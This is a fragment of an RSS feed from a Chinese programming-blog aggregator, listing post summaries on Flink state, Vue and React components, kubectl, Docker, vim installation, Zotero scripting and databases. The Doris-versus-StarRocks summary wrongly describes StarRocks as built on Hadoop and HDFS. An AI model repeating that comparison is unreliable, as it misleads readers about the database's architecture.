Task2 */ osThreadDef(Task2, StartTask02, osPriorityNormal, 0, 128); Task2Handle = osThreadCreate(osThread(Task2), NULL); /* USER CODE BEGIN RTOS_THREADS */ /* add threads, .</description>
    </item>
    <item>
      <title>Flink状态和状态管理</title>
      <link>https://bchobby.github.io/posts/8f529ad26a8b6c220284429f1280d7b3/</link>
      <pubDate>Thu, 17 Aug 2023 16:36:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f529ad26a8b6c220284429f1280d7b3/</guid>
      <description>1.什么是状态 官方定义：当前计算流程需要依赖到之前计算的结果，那么之前计算的结果就是状态。&#xA;这句话还是挺好理解的，状态不只存在于Flink，也存在生活的方方面面，比如看到一个认识的人，如何识别认识呢？就是眼睛看到这个人的样子，再和大脑记忆中的人做对比，就知道认识这个人，其中大脑记忆中的人就是存储在状态中。&#xA;状态又分为无状态和有状态。&#xA;无状态：例如消费延迟计算，单条输入包含所有的信息，不依赖于历史消息。在这种模式的计算中，无论这条输入进来多少次，输出的结果都是一样的，因为单条输入中已经包含了所需的所有信息。消费落后等于生产者减去消费者。生产者的消费在单条数据中可以得到，消费者的数据也可以在单条数据中得到，所以相同输入可以得到相同输出，这就是一个无状态的计算。有状态：例如访问量统计，单条输入仅包含部分信息，依赖历史消息。这种模式是将数据输入算子中，用来进行各种复杂的计算并输出数据。这个过程中算子会去访问之前存储在里面的状态。另外一方面，它还会把现在的数据对状态的影响实时更新，如果输入100 条数据，最后输出就是 100 条结果。 2.状态应用场景 通常以下4种场景会用到状态：&#xA;去重：比如上游的系统数据可能会有重复，落到下游系统时希望把重复的数据都去掉。去重需要先了解哪些数据来过，哪些数据还没有来，也就是把所有的主键都记录下来，当一条数据到来后，能够看到在主键当中是否存在。窗口计算：比如统计每分钟 Nginx 日志 API 被访问了多少次。窗口是一分钟计算一次，在窗口触发前，如 08:00 ~ 08:01 这个窗口，前59秒的数据来了需要先放入内存，即需要把这个窗口之内的数据先保留下来，等到 8:01 时一分钟后，再将整个窗口内触发的数据输出。未触发的窗口数据也是一种状态。机器学习/深度学习：如训练的模型以及当前模型的参数也是一种状态，机器学习可能每次都用有一个数据集，需要在数据集上进行学习，对模型进行一个反馈。访问历史数据：比如与昨天的数据进行对比，需要访问一些历史数据。如果每次从外部去读，对资源的消耗可能比较大，所以也希望把这些历史数据也放入状态中做对比。 3.状态管理 实时计算中的状态的功能主要体现在任务可以做到失败重启后没有数据质量、时效问题。&#xA;数据质量问题：当实时任务挂掉后，从消息失败offset位置开始消费，数据就错误。数据时效问题：实时任务要求有时效性，当从源offset开始位置运行时，需要好几个小时才能追上当前offset。时效性就很差。 针对以上问题，就引出了状态管理。&#xA;当我们把数据定期（例如每隔10min）的给存储到 HDFS 上面时，任务挂了、恢复之后。我们的任务还可以从 HDFS 上面把这个数据给读回来，接着从最新的一个 Kafka Offset 继续计算就可以，这样既没没有数据质量问题，也没有数据时效性问题。&#xA;因此，实时计算中提到的状态的概念重点不止在于状态本身，更重要的在于强调 &#34;管理&#34; 状态。&#xA;基于上述，状态管理对流式作业的要求总结如下：&#xA;7*24小时运行，高可靠；数据不丢不重，恰好计算一次；数据实时产出，不延迟； 但是基于以上要求，内存的管理就会出现一些问题。由于内存的容量是有限制的。如果要做 24 小时的窗口计算，将 24 小时的数据都放到内存，可能会出现内存不足；另外，作业是 7*24，需要保障高可用，机器若出现故障或者宕机，需要考虑如何备份及从备份中去恢复，保证运行的作业不受影响；此外，考虑横向扩展，假如网站的访问量不高，统计每个 API 访问次数的程序可以用单线程去运行，但如果网站访问量突然增加，单节点无法处理全部访问数据，此时需要增加几个节点进行横向扩展，这时数据的状态如何平均分配到新增加的节点也问题之一。因此，将数据都放到内存中，并不是最合适的一种状态管理方式。&#xA;最理想的状态管理需要满足易用、高效、可靠三点需求：&#xA;易用，Flink 提供了丰富的数据结构、多样的状态组织形式以及简洁的扩展接口，让状态管理更加易用；高效，实时作业一般需要更低的延迟，一旦出现故障，恢复速度也需要更快；当处理能力不够时，可以横向扩展，同时在处理备份时，不影响作业本身处理性能；可靠，Flink 提供了状态持久化，包括不丢不重的语义以及具备自动的容错能力，比如 HA，当节点挂掉后会自动拉起，不需要人工介入。 4.状态后端 做状态数据（持久化，restore）的工具就叫做状态后端。比如在 Flink 中见到的 RocksDB、FileSystem 的概念就是指状态后端。这些状态后端就是实际存储上面的状态数据的。比如配置了 RocksDB 作为状态后端，MapState 的数据就会存储在 RocksDB 中。&#xA;总的来说可以这么理解：应用中有一份状态数据，把这份状态数据存储到 MySQL 中，这个 MySQL 就能叫做状态后端。&#xA;5.Checkpoint和Savepoint 概念：协调整个任务 when，how 去将 Flink 任务本地机器中存储在状态后端的状态去同步到远程文件存储系统（比如 HDFS）的过程就叫 Checkpoint、Savepoint。</description>
    </item>
    <item>
      <title>matlab保存图片</title>
      <link>https://bchobby.github.io/posts/5cee6cd3ab72055ad8c7bf953eedb118/</link>
      <pubDate>Thu, 17 Aug 2023 15:51:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cee6cd3ab72055ad8c7bf953eedb118/</guid>
      <description> 仅作为记录，大佬请跳过。&#xA;文章目录 用界面中的“另存为”用saveas 用界面中的“另存为” 即可。&#xA;参考&#xA;感谢大佬博主文章：传送门&#xA;用saveas 必须在编辑器中的plot之后用saveas（也就是不能在命令行中单独使用——比如在编辑器中plot，在命令行中调试输入saveas保存-这样保存的是空白图）&#xA;程序&#xA;% 画图 datenn = datenum(time); plot(datenn,P); % plot(datenn,MIN);hold on; % plot(datenn,MAX); DateString = {&#39;01/01/2022&#39;;&#39;01/02/2022&#39;;&#39;01/03/2022&#39;;&#39;01/04/2022&#39;;&#39;01/05/2022&#39;;&#39;01/06/2022&#39;;&#39;01/07/2022&#39;;&#39;01/08/2022&#39;;&#39;01/09/2022&#39;;&#39;01/10/2022&#39;;&#39;01/11/2022&#39;;&#39;01/12/2022&#39;;&#39;31/12/2022&#39;}; formatIn = &#39;dd/mm/yyyy&#39;; set(gca,&#39;xtick&#39;,datenum(DateString,formatIn)) datetick(&#39;x&#39;,&#39;yyyy-mm-dd&#39;,&#39;keepticks&#39;) set(gca,&#39;XTickLabelRotation&#39;,46); set(gca,&#39;yticklabel&#39;,{&#39;20%&#39;,&#39;30%&#39;,&#39;40%&#39;,&#39;50%&#39;,&#39;60%&#39;,&#39;70%&#39;,&#39;80%&#39;,&#39;90%&#39;,&#39;100%&#39;}); % set(gca,&#39;yticklabel&#39;,{&#39;0%&#39;,&#39;10%&#39;,&#39;20%&#39;,&#39;30%&#39;,&#39;40%&#39;,&#39;50%&#39;,&#39;60%&#39;,&#39;70%&#39;,&#39;80%&#39;,&#39;90%&#39;,&#39;100%&#39;}); % grid on; % ylabel(&#34;MW&#34;); % legend(&#34;最小出力&#34;,&#34;最大出力&#34;); saveas(gcf, &#39;E:\kunkun\guowang\matlab&#39;, &#39;png&#39;); </description>
    </item>
    <item>
      <title>vantUI 2.x 版本，picker组件支持特殊索引的数据（非纯数组）</title>
      <link>https://bchobby.github.io/posts/4ca6bec377407041825ca08fee7040de/</link>
      <pubDate>Thu, 17 Aug 2023 15:34:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ca6bec377407041825ca08fee7040de/</guid>
      <description>组件代码&#xA;&amp;lt;!-- 该picker组件是用于字典数据第一项索引不是从0开始的特殊数据集 --&amp;gt; &amp;lt;template&amp;gt; &amp;lt;div class=&#34;picker-con&#34;&amp;gt; &amp;lt;div class=&#34;picker-box&#34; @click=&#34;handleClick&#34;&amp;gt; &amp;lt;span class=&#34;select-tip&#34; v-if=&#34;!selectName&#34;&amp;gt;请选择&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;select-value&#34; v-else&amp;gt;{{selectName}}&amp;lt;/span&amp;gt; &amp;lt;div class=&#34;arw-box&#34;&amp;gt; &amp;lt;van-icon name=&#34;arrow&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;van-popup v-model=&#34;showPicker&#34; round position=&#34;bottom&#34;&amp;gt; &amp;lt;van-picker @confirm=&#34;onConfirm&#34; show-toolbar :columns=&#34;option&#34; value-key=&#34;name&#34; :default-index=&#34;defaultIndex&#34; @cancel=&#34;showPicker = false&#34; /&amp;gt; &amp;lt;/van-popup&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { props: { // v-model 默认值 value: { default: &#39;&#39; }, // 下拉选项 option: { default: () =&amp;gt; [] }, readonly: { // 只读 type: Boolean, default: false } }, data () { return { defaultIndex: 0, // 默认选中项的索引 selectName: &#39;&#39;, selectValue: &#39;&#39;, showPicker: false } }, model: { prop: &#39;value&#39;, event: &#39;getValue&#39; }, watch: { value: { handler (value) { if (!</description>
    </item>
    <item>
      <title>vue3.0关于文件导入（上传）方法</title>
      <link>https://bchobby.github.io/posts/532dd279b840e5b70877b77c35177cf9/</link>
      <pubDate>Thu, 17 Aug 2023 15:14:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/532dd279b840e5b70877b77c35177cf9/</guid>
      <description>在我们开发中，有时会用到文件上传或者文件导入，如图，我们需要在文本框中输入内容或者直接导入文件内容，此输入框由按钮和上传组件一块组成，实现方法如下：&#xA;1.该输入框和上传按钮组成部分代码：&#xA;&amp;lt;el-form-item label=&#34;上传文件 :&#34; prop=&#34;regexRule&#34;&amp;gt; &amp;lt;el-input size=&#34;large&#34; v-model=&#34;form.regexRule&#34; placeholder=&#34;请输入内容或导入文件内容&#34; &amp;gt; &amp;lt;template #append&amp;gt; &amp;lt;el-upload ref=&#34;uploadRef&#34; class=&#34;upload-demo&#34; multiple v-model:file-list=&#34;fileList&#34; :on-change=&#34;fileChange&#34; :http-request=&#34;uploadFile&#34; accept=&#34;.txt&#34; :limit=&#34;2&#34; &amp;gt; &amp;lt;template #trigger&amp;gt; &amp;lt;el-button @click=&#34;showchange&#34; plain style=&#34;height: 42px;&#34; &amp;gt; 导入 &amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; 2.js代码组成部分：&#xA;const fileList = ref([]); const uploadRef = ref(); //判断上传文件格式、第二次上传文件是否保留、文件大小 const fileChange = (uploadFile, fileList) =&amp;gt; { let imgSize = Number(uploadFile.size / 1024 / 1024); const isXlS = &#39;text/plain&#39;; if (![isXlS].includes(uploadFile.type)) { ElMessage.</description>
    </item>
    <item>
      <title>c语言打印一个菱形！！小白思路篇！！</title>
      <link>https://bchobby.github.io/posts/eb29a132ff63102f37000181314fce6a/</link>
      <pubDate>Thu, 17 Aug 2023 15:00:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb29a132ff63102f37000181314fce6a/</guid>
      <description>目录&#xA;1.做题思路&#xA;2.怎么实现呢&#xA;3.代码的解释&#xA;第一个for循环用于打印多行&#xA;第二个for循环用于打印空格，有菱形可以看出第一行的空格为6个，所以line - 1 - i的意思是，line - 1是因为第一行已经有一个星星，所以要先减一，- i的意思是每行少一个空格。&#xA;第三个for循环则是用来打印打印星星，因为每一行星星加两个，且第一行本来就存在1个星星所以，第二个表达式中 2 * i + 1的含义是每一行多两个星星且还有第一行的第一个星星。&#xA;用C语言在屏幕上输出以下图案：&#xA;1.做题思路 一个菱形可以拆解为两个三角形一个大一个小，由此思路就是先打印上面的三角形在打印出下面的三角形。&#xA;2.怎么实现呢 第一行只有一个星星后续每一行多两个星星（前面的星星是把空格取代，后面的星星是自然多出的），再看每一行的空格数量，明显空格的数量是自第一行每一行减一的。这样就可以构思出代码。&#xA;3.代码的解释 输入要打印的上半三角的行数，后利用for循环的嵌套&#xA;第一个for循环用于打印多行 第二个for循环用于打印空格，有菱形可以看出第一行的空格为6个，所以line - 1 - i的意思是，line - 1是因为第一行已经有一个星星，所以要先减一，- i的意思是每行少一个空格。 第三个for循环则是用来打印打印星星，因为每一行星星加两个，且第一行本来就存在1个星星所以，第二个表达式中 2 * i + 1的含义是每一行多两个星星且还有第一行的第一个星星。 记得最后要换行哦！！！。&#xA;本题对于初学者而言还是挺绕的，不懂的uu可以多看看熟悉一下奥&#xA;int main() { int line = 0; int i = 0; scanf(&#34;%d&#34;, &amp;amp;line);//7 //打印上半部分 for(i=0; i&amp;lt;line; i++) { //打印一行 //打印空格 int j = 0; for(j=0; j&amp;lt;line-1-i; j++) { printf(&#34;</description>
    </item>
    <item>
      <title>【kubectl详解】</title>
      <link>https://bchobby.github.io/posts/6738158881d099b87172bc84f7dd850f/</link>
      <pubDate>Thu, 17 Aug 2023 14:48:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6738158881d099b87172bc84f7dd850f/</guid>
      <description>目录 一、陈述式资源管理方法二、基本信息查看1、查看 master 节点状态2、查看命名空间3、查看命名空间的所有资源4、创建命名空间app5、删除命名空间app6、在命名空间kube-public 创建副本控制器（deployment）来启动Pod（nginx-dz）7、描述某个资源的详细信息8、查看命名空间kube-public 中的pod 信息9、kubectl exec可以跨主机登录容器，docker exec 只能在容器所在主机上登录10、查看pod中容器的日志11、删除（重启）pod资源，由于存在deployment/rc之类的副本控制器，删除pod也会重新拉起来12、扩容缩容 三、项目的生命周期1、创建 kubectl create命令2、发布 kubectl expose命令3、、更新 kubectl set4、回滚 kubectl rollout5、删除 kubectl delete 四、应用的发布策略五、声明式管理方法 一、陈述式资源管理方法 陈述式资源管理方法：&#xA;1.kubernetes 集群管理集群资源的唯一入口是通过相应的方法调用 apiserver 的接口&#xA;2.kubectl 是官方的CLI命令行工具，用于与 apiserver 进行通信，将用户在命令行输入的命令，组织并转化为 apiserver 能识别的信息，进而实现管理 k8s 各种资源的一种有效途径&#xA;3.kubectl 的命令大全&#xA;kubectl --help&#xA;k8s中文文档：http://docs.kubernetes.org.cn/683.html&#xA;4.对资源的增、删、查操作比较方便，但对改的操作就不容易了&#xA;//查看版本信息 kubectl version //查看资源对象简写 kubectl api-resources //查看集群信息 kubectl cluster-info //配置kubectl自动补全 source &amp;lt;(kubectl completion bash) //node节点查看日志 journalctl -u kubelet -f 二、基本信息查看 kubectl get [-o wide|json|yaml] [-n namespace]&#xA;获取资源的相关信息，-n 指定命令空间，-o 指定输出格式</description>
    </item>
    <item>
      <title>实现zotero星标功能且可以排序</title>
      <link>https://bchobby.github.io/posts/e902233e642e47b6bd753adedd0113b7/</link>
      <pubDate>Thu, 17 Aug 2023 11:33:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e902233e642e47b6bd753adedd0113b7/</guid>
      <description>Quicker的文献标记 主要功能 （1）给已读、已记笔记的文献做标记，便于后续查找；&#xA;（2）对文献重要性进行评级，便于高效文献管理；&#xA;（3）可根据个人需要，修改动作个性化添加其他符号，不限于 ⭐📝和📖 ；&#xA;（4）可鼠标右击，一键清理所有标记，但请谨慎操作。&#xA;效果如图： 1.Quicker与Zotero环境配置 1.1 下载Quicker：Quicker软件 您的指尖工具箱 - Quicker&#xA;1.2 在Zotero中安装debug-bridge 插件：&#xA;Github下载链接：Release debug-bridge · retorquere/zotero-better-bibtex · GitHub&#xA;CSDN下载链接：debug-bridge-6.7.79.emile.limonia.xpi资源-CSDN文库&#xA;（安装debug-bridge 插件是为了实现Zotero执行外部javascript文件）&#xA;1.3 在Zotero中点击菜单Tools(工具)—&amp;gt;Developer(开发者)—&amp;gt;Run Javascript，在Code文本框中输入并运行如下代码：&#xA;//配置执行外部javascript文件的密码 Zotero.Prefs.set(&#34;extensions.zotero.debug-bridge.password&#34;,&#34;CTT&#34;,true); //设置界面语言为英文，有利于键盘快捷操作 Zotero.Prefs.set(&#34;intl.locale.requested&#34;,&#34;en-US&#34;,true); Zotero.Prefs.set(&#34;intl.accept_languages&#34;,&#34;en-US, en&#34;,true); //配置Ctrl+Shif+C为复制选择文献到剪贴板 Zotero.Prefs.set(&#34;extensions.zotero.keys.copySelectedItemsToClipboard&#34;,&#34;C&#34;,true); //取消文献经典插入窗口选项 Zotero.Prefs.set(&#34;extensions.zotero.integration.useClassicAddCitationDialog&#34;,false,true); //配置手动运行Run JavaScript窗口快捷键 Zotero.Prefs.set(&#34;extensions.zutilo.shortcut.openRunJSWindow&#34;,&#39;{&#34;modifiers&#34;:&#34;alt control&#34;,&#34;key&#34;:&#34;R&#34;,&#34;keycode&#34;:null}&#39;,true); //配置Lookup item by idenifier快捷键 Zotero.Prefs.set(&#34;extensions.zutilo.shortcut.lookupID&#34;,&#39;{&#34;modifiers&#34;:&#34;control shift&#34;,&#34;key&#34;:&#34;@&#34;,&#34;keycode&#34;:null}&#39;,true); //自定义Translator快速获取文献citationKey、doi、title、journal、select、附件地址等信息 let code=`{ &#34;translatorID&#34;: &#34;cttb4cc3-8334-4bbc-a5f0-fe66317c8811&#34;, &#34;label&#34;: &#34;Taotao Copy2&#34;, &#34;creator&#34;: &#34;Taotao Chen&#34;, &#34;target&#34;: &#34;json&#34;, &#34;minVersion&#34;: &#34;5.0.82&#34;, &#34;maxVersion&#34;: &#34;&#34;, &#34;priority&#34;: 200, &#34;</description>
    </item>
    <item>
      <title>Oracle软件在主机平台的应用</title>
      <link>https://bchobby.github.io/posts/9a15483a0574c986810a0d0b4dd96f18/</link>
      <pubDate>Thu, 17 Aug 2023 10:47:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a15483a0574c986810a0d0b4dd96f18/</guid>
      <description>课程介绍学习地址 课程由浅入深将oracle的学习过程切割为六大模块，SQL、体系结构、备份、dataguard、优化、RAC，每一个模块都为大家准备了大量的示例，真实演示oracle的实际操作，这套视频的目的是让没有接触过oracle的也能了解和使用oracle产品，已经了解oracle的人可以加深对oracle的认识。因为时间有限，不可能涵盖oracle中的所有操作，所以本套视频更加注重的是原理，重道不重术，我们想传递给大家的是学习的思路和oracle的设计思想，在了解原理之后你自然就可以解决变化万千的现实问题！本视频所推崇的思想：做人以至诚为本，读书以明理为先！本套视频将会成为你dba之路上的第一块坚实奠基石。</description>
    </item>
    <item>
      <title>Docker容器进入的4种方式(推荐最后一种)</title>
      <link>https://bchobby.github.io/posts/2e811ad1920330cf6fe992e989fb8724/</link>
      <pubDate>Thu, 17 Aug 2023 10:29:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e811ad1920330cf6fe992e989fb8724/</guid>
      <description>Docker容器进入的4种方式【推荐最后一种】 在使用Docker创建了容器之后，大家比较关心的就是如何进入该容器了，其实进入Docker容器有好几多种方式，这里我们就讲一下常用的几种进入Docker容器的方法。 一、使用docker attach进入Docker容器二、使用SSH进入Docker容器三、使用nsenter进入Docker容器四、使用docker exec进入Docker容器五. 为什么不需要在Docker容器中运行sshd假设你正在假设一个Redis Server或Java Webservice的Docker镜像, 我会问你以下几个问题:但我该如何做…备份我的数据?检查日志?重启service?修改我的配置文件 调试我的应用？介绍 nsenter从哪里获得 nsenter ？如何使用？ 远程访问怎么样？总结 在使用Docker创建了容器之后，大家比较关心的就是如何进入该容器了，其实进入Docker容器有好几多种方式，这里我们就讲一下常用的几种进入Docker容器的方法。 进入Docker容器比较常见的几种做法如下：&#xA;使用docker attach使用SSH使用nsenter使用exec 一、使用docker attach进入Docker容器 Docker提供了attach命令来进入Docker容器。&#xA;接下来我们创建一个守护态的Docker容器，然后使用docker attach命令进入该容器。&#xA;$ sudo docker run -itd ubuntu:14.04 /bin/bash 然后我们使用docker ps查看到该容器信息，接下来就使用docker attach进入该容器&#xA;$ sudo docker attach 44fc0f0582d9 可以看到我们已经进入到该容器中了。&#xA;但在，使用该命令有一个问题。当多个窗口同时使用该命令进入该容器时，所有的窗口都会同步显示。如果有一个窗口阻塞了，那么其他窗口也无法再进行操作。&#xA;因为这个原因，所以docker attach命令不太适合于生产环境，平时自己开发应用时可以使用该命令。&#xA;二、使用SSH进入Docker容器 在生产环境中排除了使用docker attach命令进入容器之后，相信大家第一个想到的就是ssh。在镜像（或容器）中安装SSH Server，这样就能保证多人进入&#xA;容器且相互之间不受干扰了，相信大家在当前的生产环境中（没有使用Docker的情况）也是这样做的。但是使用了Docker容器之后不建议使用ssh进入到Docker容&#xA;器内。关于为什么不建议使用，请参考如下文章：&#xA;为什么不需要在 Docker 容器中运行 sshd&#xA;三、使用nsenter进入Docker容器 在上面两种方式都不适合的情况下，还有一种比较方便的方法，即使用nsenter进入Docker容器。关于什么是nsenter请参考如下文章：&#xA;https://github.com/jpetazzo/nsenter&#xA;在了解了什么是nsenter之后，系统默认将我们需要的nsenter安装到主机中&#xA;如果没有安装的话，按下面步骤安装即可（注意是主机而非容器或镜像）&#xA;具体的安装命令如下：&#xA;$ wget https://www.kernel.org/pub/linux/utils/util-linux/v2.24/util-linux-2.24.tar.gz $ tar -xzvf util-linux-2.24.tar.gz $ cd util-linux-2.24/ $ .</description>
    </item>
    <item>
      <title>如何在React项目中动态插入HTML内容</title>
      <link>https://bchobby.github.io/posts/eebdb5b07bf57b424483fdb5269fd3e0/</link>
      <pubDate>Thu, 17 Aug 2023 08:37:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eebdb5b07bf57b424483fdb5269fd3e0/</guid>
      <description>React是一种流行的JavaScript库，用于构建用户界面。它提供了一种声明式的方法来创建可复用的组件，使得开发者能够更轻松地构建交互性的Web应用程序。在React中，我们通常使用JSX语法来描述组件的结构和行为。&#xA;在某些情况下，我们可能需要在React组件中动态地插入HTML内容。这可能是因为我们从后端接收到的数据包含了HTML标记，或者我们想要在组件中显示富文本内容。在这种情况下，我们可以使用React的v-html指令来实现。&#xA;v-html是Vue.js框架中的一个指令，用于将HTML字符串插入到DOM元素中。尽管React没有内置的v-html指令，但我们可以通过使用dangerouslySetInnerHTML属性来实现类似的功能。&#xA;要在React中使用v-html，我们需要遵循以下步骤：&#xA;导入React库和相关的组件： import React from &#39;react&#39;; 创建一个React组件： class MyComponent extends React.Component { render() { return ( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;React中使用v-html的示例&amp;lt;/h1&amp;gt; &amp;lt;div dangerouslySetInnerHTML={{ __html: this.props.htmlContent }}&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; ); } } 在上面的代码中，我们创建了一个名为MyComponent的React组件，并在render方法中使用了dangerouslySetInnerHTML属性。这个属性接受一个对象，其中的__html属性用于存放我们要插入的HTML字符串。&#xA;在其他组件中使用我们的自定义组件： class App extends React.Component { render() { const htmlContent = &#39;&amp;lt;p&amp;gt;这是一个使用v-html的示例&amp;lt;/p&amp;gt;&#39;; return ( &amp;lt;div&amp;gt; &amp;lt;MyComponent htmlContent={htmlContent} /&amp;gt; &amp;lt;/div&amp;gt; ); } } 在上面的代码中，我们创建了一个名为App的React组件，并在render方法中使用了我们的自定义组件MyComponent。我们将一个包含HTML内容的字符串传递给MyComponent组件的htmlContent属性。&#xA;运行React应用程序： ReactDOM.render(&amp;lt;App /&amp;gt;, document.getElementById(&#39;root&#39;)); 通过上述步骤，我们就可以在React中使用类似于v-html的功能了。当我们在MyComponent组件中使用dangerouslySetInnerHTML属性时，需要注意潜在的安全风险。由于该属性直接将HTML字符串插入到DOM中，可能存在跨站脚本攻击（XSS）的风险。因此，在使用dangerouslySetInnerHTML属性时，务必确保所插入的HTML内容是可信的，并且不包含恶意代码。&#xA;总结起来，React中没有内置的v-html指令，但我们可以通过使用dangerouslySetInnerHTML属性来实现类似的功能。通过小心地处理HTML内容，我们可以在React组件中动态地插入HTML字符串。然而，为了确保安全性，我们应该谨慎使用dangerouslySetInnerHTML属性，并确保所插入的HTML内容是可信的。</description>
    </item>
    <item>
      <title>linux中vim编译安装到指定路径（无需sudo），vim插件安装及调试python程序</title>
      <link>https://bchobby.github.io/posts/bb1ad8647f8ef2c954b93d53287be429/</link>
      <pubDate>Wed, 16 Aug 2023 23:23:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb1ad8647f8ef2c954b93d53287be429/</guid>
      <description>一、安装vim 查看系统中是否有vim&#xA;which vim 可以看到列举了一系列文件夹里都找不到vim，注意若没有sudo权限可以参考这里列举的文件夹，带当前用户名的路径则是可以不用sudo直接安装vim的地方&#xA;1、下载vim&#xA;git clone https://github.com/vim/vim.git 2、更新到最新版本&#xA;cd vim git pull 3、make&#xA;在make之前要指定安装目录执行configure文件,如指定到/home/user文件下&#xA;,其他如配置支持python语言等特性&#xA;cd src make distclean # if you build Vim before ./configure --prefix=/public/home/usr/ --with-features=huge --enable-python3interp --enable-pythoninterp --with-python-config-dir=/usr/lib/python2.7/config-x86_64-linux-gnu/ --with-python3-config-dir=/usr/lib/python3.7/config-x86_64-linux-gnu/ --enable-rubyinterp --enable-luainterp --enable-multibyte --enable-cscope 指定后执行&#xA;make make install 参考：&#xA;https://www.vim.org/git.php&#xA;https://developer.aliyun.com/article/195099&#xA;二、安装插件 这里有两种方式，通过管理器vim-plug或者手动下载插件文件&#xA;方式一：通过管理器vim-plug 1、使用curl命令下载vim-plug源码&#xA;curl -fLo ~/.vim/autoload/plug.vim --create-dirs https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim 注：若这里下载失败可以从网页先下载plug.vim文件: https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim 然后再将plug.vim文件移动到.vim/autoload/的路径下: mv plug.vim ~/.vim/autoload/ 2、在.vimrc配置文件中进行配置&#xA;vim ~/.vimrc 这里如果没有.vimrc文件会自动创建&#xA;3、在.vimrc文件中输入要安装的插件命令(这里用i进入输入模式)&#xA;插件类型有很多种 ，这里暂时列出安装在github中的插件&#xA;如要安装插件Auto Pairs（用于自动匹配括号）</description>
    </item>
    <item>
      <title>Curson 编辑器</title>
      <link>https://bchobby.github.io/posts/53f17a1097b8d9aa1bf90dd2102735da/</link>
      <pubDate>Wed, 16 Aug 2023 22:17:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53f17a1097b8d9aa1bf90dd2102735da/</guid>
      <description>Curson 汉化与vacode一样&#xA;Curson 自带chat功能&#xA;1、快捷键ctrl+k(代码中编辑)&#xA;2、快捷键ctrl+l 右侧打开窗口</description>
    </item>
    <item>
      <title>apache doris和StarRocks的区别</title>
      <link>https://bchobby.github.io/posts/4f6332bca9f2e1618528a637f660311f/</link>
      <pubDate>Wed, 16 Aug 2023 22:02:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f6332bca9f2e1618528a637f660311f/</guid>
      <description> 记录一下最新要用到2个新数据库的区别&#xA;Apache Doris是一个分布式的列式存储系统，它的设计目标是提供大规模数据处理的可靠性和高性能。Doris采用了集群方式，通过将数据分布在多个机器上进行处理来提高性能，并提供了SQL查询接口方便用户使用。&#xA;StarRocks是一个分布式存储系统，它建立在Apache Hadoop之上，旨在为大型超级计算机提供结构化数据存储解决方案。StarRocks采用了列式存储模型，并利用Hadoop的分布式计算框架来管理数据和提供高性能的数据处理。&#xA;Doris和StarRocks的主要区别在于：&#xA;底层架构不同：Doris是一个独立的分布式存储系统，而StarRocks是建立在Hadoop之上的。存储模型不同：Doris使用列式存储模型，而StarRocks使用Hadoop中的HDFS文件系统来存储数据。处理能力不同：Doris提供高性能的数据处理能力，而StarRocks利用Hadoop的分布式计算框架来处理数据。 </description>
    </item>
    <item>
      <title>golang操作excel的高性能库——excelize/v2</title>
      <link>https://bchobby.github.io/posts/4d7281beeaf8ad3616a7f20fa60fa796/</link>
      <pubDate>Wed, 16 Aug 2023 21:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d7281beeaf8ad3616a7f20fa60fa796/</guid>
      <description>目录 介绍文档与源码安装快速开始创建 Excel 文档读取 Excel 文档打开数据流流式写入 [相关 Excel 开源类库性能对比](https://xuri.me/excelize/zh-hans/performance.html) 介绍 Excelize是一个纯Go编写的库，提供了一组功能，允许你向XLAM / XLSM / XLSX / XLTM / XLTX文件写入和读取。支持读取和写入由Microsoft Excel™ 2007及更高版本生成的电子表格文档。通过高度兼容性支持复杂组件，并提供了流式API，用于生成或从包含大量数据的工作表中读取数据。此库需要Go版本1.16或更高版本。可以使用Go的内置文档工具查看完整文档，也可以在go.dev和文档引用中在线查阅。&#xA;另外还有另外一个库：github.com/360EntSecGroup-Skylar/excelize/v2，不过它已经没了，或者说它和github.com/xuri/excelize/v2是一个东西，用法功能都完全一样。。。。&#xA;文档与源码 Github源码：https://github.com/qax-os/excelize&#xA;中文文档：https://xuri.me/excelize/zh-hans/&#xA;安装 go get github.com/xuri/excelize/v2&#xA;快速开始 创建 Excel 文档 package main import ( &#34;fmt&#34; &#34;github.com/xuri/excelize/v2&#34; ) func main() { f := excelize.NewFile() defer func() { if err := f.Close(); err != nil { fmt.Println(err) } }() // 创建一个工作表 index, err := f.NewSheet(&#34;Sheet2&#34;) if err != nil { fmt.</description>
    </item>
    <item>
      <title>JVM相关概念及功能&amp;logstash在JVM栈堆运行的原理</title>
      <link>https://bchobby.github.io/posts/0fd343b1130762325173dbb2fbafdfdc/</link>
      <pubDate>Wed, 16 Aug 2023 20:45:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fd343b1130762325173dbb2fbafdfdc/</guid>
